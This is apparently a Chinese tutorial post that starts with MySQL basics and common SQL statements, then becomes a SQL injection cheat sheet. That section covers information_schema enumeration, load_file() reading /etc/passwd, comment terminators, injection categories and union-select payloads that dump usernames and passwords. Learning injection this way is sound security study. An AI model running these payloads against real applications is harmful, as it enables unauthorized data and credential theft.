MySQL[1] 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 旗下公司。MySQL 最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。MySQL 所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策(本词条“授权政策”),它分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。
常用语句
1:使用SHOW语句找出在服务器上当前存在什么数据库:
mysql> SHOW DATABASES;
2:创建一个数据库MYSQLDATA
mysql> CREATE DATABASE MYSQLDATA;
3:选择你所创建的数据库
mysql> USE MYSQLDATA; (按回车键出现Database changed 时说明操作成功!)
4:查看现在的数据库中存在什么表
mysql> SHOW TABLES;
5:创建一个数据库表
mysql> CREATE TABLE MYTABLE (name VARCHAR(20), sex CHAR(1));
6.导入.sql文件命令(例如D:/mysql.sql)
mysql>use database;
mysql>source d:/mysql.sql;
7.查删改添
SELECT 列名称 FROM 表名称 WHERE 字段1 = ‘条件1‘ AND 字段2 = ‘条件2‘
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
DELETE FROM 表名称 WHERE 列名称 = 值
注入了解
在Mysql 5.0以上的版本中,为了方便管理,
默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。
在schemata表中,schema_name字段用来存储数据库名。
在tables表中,table_schema和table_name分别用来存储数据库名和表名
在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
Mysql常用函数
eg: select user();
1:system_user() 系统用户名
2:user() 用户名
3:current_user() 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本
7:load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数
MySQL的load_file()函数可以用来获取部分系统信息
mysql> select load_file(‘/etc/issue‘);
备注:
1.用MySQL的root用户可以获取到很多信息,甚至是/etc/ssh/sshd_config、/etc/passwd这类文件的信息,但MySQL的普通用户视乎不行
2.load_file()函数中的pathname要用单引号括起来
8:@@datadir 读取数据库路径
9:@@basedir MYSQL 安装路径
10:@@version_compile_os 操作系统
注释
--%20,%23, --+, -- -, /* */, /*!*/
字符串连接函数
1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
分隔符
0x3a --> :
0x2f --> /
0x7c --> |
0x7e --> ~
SQL注入分类
依据注入点类型分类
数字类型的注入 SELECT 列 FROM 表 WHERE 数字型列=值
字符串类型的注入 SELECT 列 FROM 表 WHERE 字符型列=‘值’
搜索型注入 SELECT * FROM 表 WHERE 被搜索列 LIKE ‘%值%’
依据提交方式分类
GET注入
POST注入
COOKIE注入
HTTP头注入(XFF注入、UA注入、REFERER注入)
依据获取信息的方式分类
联合查询注入
基于布尔的盲注
基于时间的盲注
基于报错的注入
堆查询注入 (可同时执行多条语句)
基于Get/Post(抓包)型的联合查询注入语句
1、利用order by 判断字段数。
2、利用union select 联合查询,获取表名。
0‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
3、利用union select 联合查询,获取字段名。
0‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users‘ --+
4、利用union select 联合查询,获取字段值。
0‘ union select 1,group_concat(username,0x3a,password),3 from users--+